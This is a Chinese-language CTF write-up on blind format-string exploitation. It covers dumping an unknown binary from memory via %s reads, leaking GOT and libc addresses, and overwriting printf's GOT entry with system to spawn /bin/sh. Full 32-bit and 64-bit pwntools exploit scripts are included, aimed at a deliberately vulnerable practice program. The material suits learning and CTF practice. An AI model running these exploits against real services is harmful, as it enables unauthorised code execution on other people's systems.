PWN-盲打
October 17, 2019 PWN 访问: 58 次
这次在中关村的那个线下中遇到一个pwn,题目中给了服务器的ssh,但是无法从服务器中拿到pwn的源文件,由于比较菜,也没能发现是一个格式化字符串漏洞
pwn 盲打
就是题目没有提供源文件,只提供了一个nc
要连接的IP和端口
这样的话我们是无法通过IDA来漏洞挖掘的,但是,如果存在格式化字符串漏洞的话,并且还是无限制的使用格式化字符串,那么就可以利用漏洞把在内存中的程序给dump
下来
32位的利用手法
demo
:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
int flag;
char buf[1024];
FILE* f;
puts("What's your name?");
fgets(buf, 1024, stdin);
printf("Hi, ");
printf("%s",buf);
putchar('\n');
flag = 1;
while (flag == 1){
puts("Do you want the flag?");
memset(buf,'\0',1024);
read(STDIN_FILENO, buf, 100);
if (!strcmp(buf, "no\n")){
printf("I see. Good bye.");
return 0;
}else
{
printf("Your input isn't right:");
printf(buf);
printf("Please Try again!\n");
}
fflush(stdout);
}
return 0;
}
#编译命令:gcc -z execstack -fno-stack-protector -m32 -o pwn pwn.c
首先利用libformatstr
库计算出来offset
和padding
dump_exp.py
:
from pwn import *
from LibcSearcher import *
from libformatstr import *
context.log_level='debug'
debug = 1
file_name = './pwn'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
r = process(file_name)
libc = ELF(libc_name,checksec=False)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
def debug():
gdb.attach(r)
raw_input()
file = ELF(file_name,checksec=False)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
ru("What's your name?\n")
sl("fuck")
ru("\n")
def get_offset():
ru("Do you want the flag?")
payload = make_pattern(100)
sl(payload)
ru("Your input isn't right:")
data = rud("Please Try again!\n")
offset,padding = guess_argnum(data,100)
print offset,padding#7,0
# get_offset()
dump_addr = 0x8049000#0x8048000
dump_elf = ""
while dump_addr<=0x804A098:
ru("Do you want the flag?")
payload = "%9$s"+"aaaa"+p32(dump_addr)
sl(payload)
ru("Your input isn't right:")
data = rud("aaaa")
print data.encode("hex"),len(data)
if len(data)==0:
dump_elf += "\x00"
else:
dump_elf += data[0]
dump_addr+=1
print dump_elf.encode("hex")
f = open("dump_bin2","wb")
f.write(dump_elf)
第一次dump
的时候,从地址0x8048000~0x804A098
,将dump
出来的文件载入IDA中发现代码变得很乱(基地址是照着的),然后在Winhex
中分析发现0x8048000~0x8049000
和0x8049000~...
是重复的,然后把起始地址改成0x8049000
,再dump
一次,拖到IDA中分析发现,这次dump出来的程序流程是很清晰的,基本上和源程序是一样的
源程序的main函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Ch] [ebp-40Ch]
int v5; // [esp+40Ch] [ebp-Ch]
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("What's your name?");
fgets(&s, 1024, stdin);
printf("Hi, ");
printf("%s", &s);
putchar(10);
v5 = 1;
while ( v5 == 1 )
{
puts("Do you want the flag?");
memset(&s, 0, 0x400u);
read(0, &s, 0x64u);
if ( !strcmp(&s, "no\n") )
{
printf("I see. Good bye.");
return 0;
}
printf("Your input isn't right:");
printf(&s);
puts("Please Try again!");
fflush(stdout);
}
return 0;
}
dump下来的main函数:
int sub_804860B()
{
char v1; // [esp+Ch] [ebp-40Ch]
int v2; // [esp+40Ch] [ebp-Ch]
sub_8048460(stdin, 0);
sub_8048460(stdout, 0);
sub_8048460(stderr, 0);
sub_80484C0("What's your name?");
sub_80484B0(&v1, 1024, stdin);
sub_8048490("Hi, ");
sub_8048490("%s");
sub_80484F0(10);
v2 = 1;
while ( v2 == 1 )
{
sub_80484C0("Do you want the flag?");
sub_80484E0(&v1, 0, 1024);
sub_8048480(0, &v1, 100);
if ( !sub_8048470(&v1, "no\n") )
{
sub_8048490("I see. Good bye.");
return 0;
}
sub_8048490("Your input isn't right:");
sub_8048490(&v1);
sub_80484C0("Please Try again!");
sub_80484A0(stdout);
}
return 0;
}
然后我们就知道了各个函数在plt表中的地址,我们利用plt表来泄露出来got表地址
pwndbg> x/4wx 0x8048460
0x8048460 <setbuf@plt>: 0xa00c25ff 0x00680804 0xe9000000 0xffffffe0
pwndbg> x/16bx 0x8048460
0x8048460 <setbuf@plt>: 0xff 0x25 0x0c 0xa0 0x04 0x08 0x68 0x00
0x8048468 <setbuf@plt+8>: 0x00 0x00 0x00 0xe9 0xe0 0xff 0xff 0xff
pwndbg> x/16bx 0x8048470
0x8048470 <strcmp@plt>: 0xff 0x25 0x10 0xa0 0x04 0x08 0x68 0x08
0x8048478 <strcmp@plt+8>: 0x00 0x00 0x00 0xe9 0xd0 0xff 0xff 0xff
pwndbg>
\xff\x25
是jmp的机器码,后门4个byte就是got表地址
然后再通过got表来泄露libc地址,计算出来system的地址,然后将printf_got覆盖成system的地址
在输入的时候输入/bin/sh\x00
即可拿到shell
exp:
from pwn import *
from LibcSearcher import *
from libformatstr import *
context.log_level='debug'
debug = 1
file_name = './pwn'
libc_name = '/lib/i386-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
r = process(file_name)
libc = ELF(libc_name,checksec=False)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
def debug():
gdb.attach(r)
raw_input()
file = ELF(file_name,checksec=False)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
ru("What's your name?\n")
sl("fuck")
ru("\n")
def get_offset():
ru("Do you want the flag?")
payload = make_pattern(100)
sl(payload)
ru("Your input isn't right:")
data = rud("Please Try again!\n")
offset,padding = guess_argnum(data,100)
print offset,padding#7,0
# get_offset()
'''
dump_addr = 0x8049000#0x8048000
dump_elf = ""
while dump_addr<=0x804A098:
ru("Do you want the flag?")
payload = "%9$s"+"aaaa"+p32(dump_addr)
sl(payload)
ru("Your input isn't right:")
data = rud("aaaa")
print data.encode("hex"),len(data)
if len(data)==0:
dump_elf += "\x00"
else:
dump_elf += data[0]
dump_addr+=1
print dump_elf.encode("hex")
f = open("dump_bin2","wb")
f.write(dump_elf)
'''
setbuf_plt = 0x8048460
ru("Do you want the flag?")
payload = "%9$s"+"aaaa"+p32(setbuf_plt)
sl(payload)
ru("Your input isn't right:")
setbuf_got = u32(rud("aaaa")[2:6])
printf_got = setbuf_got+0xc
li("setbuf_plt",setbuf_got)
ru("Do you want the flag?")
payload = "%9$s"+"aaaa"+p32(setbuf_got)
sl(payload)
ru("Your input isn't right:")
setbuf_addr = u32(rud("aaaa")[0:4])
li("setbuf_addr",setbuf_addr)
libc_base = setbuf_addr-libc.symbols['setbuf']
li("libc_base",libc_base)
system_addr = libc_base+libc.symbols['system']
format_1 = FormatStr()
format_1[printf_got]=system_addr
pay1 = fmtstr_payload(7,{printf_got:system_addr})
pay2 = format_1.payload(7,0,start_len=0)
ru("Do you want the flag?")
sl(pay1)
ru("Do you want the flag?")
sl("/bin/sh\x00")
ri()
64位的利用手法
思路大致都是一样的,只不过是64位的程序再内存中的基地址和32位程序是不一样的
编译:
gcc -z execstack -fno-stack-protector -o pwn_64 pwn.c
泄露出来内存中0x400000~0x400BBB
区间的值,然后保存,在IDA中打开,可以成功的看到main函数的程序流程
源程序:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+10h] [rbp-410h]
int v5; // [rsp+41Ch] [rbp-4h]
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("What's your name?");
fgets(&s, 1024, stdin);
printf("Hi, ", 1024LL, argv);
printf("%s", &s);
putchar(10);
v5 = 1;
while ( v5 == 1 )
{
puts("Do you want the flag?");
memset(&s, 0, 0x400uLL);
read(0, &s, 0x64uLL);
if ( !strcmp(&s, "no\n") )
{
printf("I see. Good bye.", "no\n");
return 0;
}
printf("Your input isn't right:", "no\n");
printf(&s);
puts("Please Try again!");
fflush(stdout);
}
return 0;
}
dump下的程序:
__int64 sub_400826()
{
char v1; // [rsp+10h] [rbp-410h]
int v2; // [rsp+41Ch] [rbp-4h]
sub_4006A0(MEMORY[0x601090], 0LL);
sub_4006A0(MEMORY[0x601080], 0LL);
sub_4006A0(MEMORY[0x6010A0], 0LL);
sub_400690((__int64)"What's your name?");
sub_4006F0(&v1, 1024LL, MEMORY[0x601090]);
sub_4006B0("Hi, ");
sub_4006B0("%s");
sub_400680(10LL, &v1);
v2 = 1;
while ( v2 == 1 )
{
sub_400690((__int64)"Do you want the flag?");
sub_4006C0(&v1, 0LL, 1024LL);
sub_4006D0(0LL, &v1, 100LL);
if ( !(unsigned int)sub_400700(&v1, "no\n") )
{
sub_4006B0("I see. Good bye.");
return 0LL;
}
sub_4006B0("Your input isn't right:");
sub_4006B0(&v1);
sub_400690((__int64)"Please Try again!");
sub_400710(MEMORY[0x601080]);
}
return 0LL;
}
接下来的操作都是一样的
泄露got表地址,再泄露got表中存的地址,再覆盖got表(部分覆盖),即可获取到shell
exp:
from pwn import *
from LibcSearcher import *
from libformatstr import *
context.log_level='debug'
context.arch = 'amd64'
debug = 1
file_name = './pwn_64'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
r = process(file_name)
libc = ELF(libc_name,checksec=False)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
def debug():
gdb.attach(r,"b *0x000000000400965")
raw_input()
file = ELF(file_name,checksec=False)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
ru("What's your name?\n")
sl("fuck")
ru("\n")
def get_offset():
ru("Do you want the flag?")
payload = make_pattern(100)
sl(payload)
ru("Your input isn't right:")
data = rud("Please Try again!\n")
offset,padding = guess_argnum(data,100)
print offset,padding#4,0
'''
dump_addr = 0x000000000400000
dump_elf = ""
while dump_addr<=0x400BBB:
ru("Do you want the flag?")
payload = "%9$saaaa"+p64(dump_addr)
# gdb.attach(r,"b *0x000000000400965")
sl(payload)
ru("Your input isn't right:")
data = rud("aaaa")
print data.encode("hex"),len(data)
if len(data)==0:
dump_elf += "\x00"
else:
dump_elf += data[0]
dump_addr+=1
print dump_elf.encode("hex")
f = open("dump_bin_64","wb")
f.write(dump_elf)
'''
setbuf_plt = 0x4006A0
ru("Do you want the flag?")
payload = "%9$saaaa"+p64(setbuf_plt)
sl(payload)
ru("Your input isn't right:\xff\x25")
setbuf_got = u32(r.recv(3)+"\x00")+setbuf_plt+0x6
printf_got = setbuf_got+0x8
li("printf_got",printf_got)
li("setbuf_plt",setbuf_got)
ru("Do you want the flag?")
payload = "%9$saaaa"+p64(setbuf_got)
sl(payload)
ru("Your input isn't right:")
setbuf_addr = u64(r.recv(6)+"\x00\x00")
li("setbuf_addr",setbuf_addr)
libc_base = setbuf_addr-libc.symbols['setbuf']
li("libc_base",libc_base)
system_addr = libc_base+libc.symbols['system']
one_gg = 0x45216+ libc_base
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
format_1 = FormatStr()
format_1[printf_got]=system_addr
# pay1 = fmtstr_payload(8,{printf_got+4:system_addr&0xffffffff})
li("system_addr",system_addr)
addr1 = system_addr&0xffffffff
# aaa = "%"+str(int(addr1))+"c%11$n".ljust(0x18,"a")
# pay = aaa+p64(0x601030)
pay2 = format_1.payload(8,0,start_len=0)
num_1 = addr1&0xffff
num_2 = (0x10000+((addr1&0xffff0000)>>16))-num_1
pay = "%"+str(int(num_1))+"c%12$hn%"+str(int(num_2))+"c%13$hn"
pay = pay.ljust(0x20,"a")+p64(0x601030)+p64(0x601032)
print pay
ru("Do you want the flag?")
sl(pay)
# debug()
ru("Do you want the flag?")
sl("/bin/sh\x00")
ri()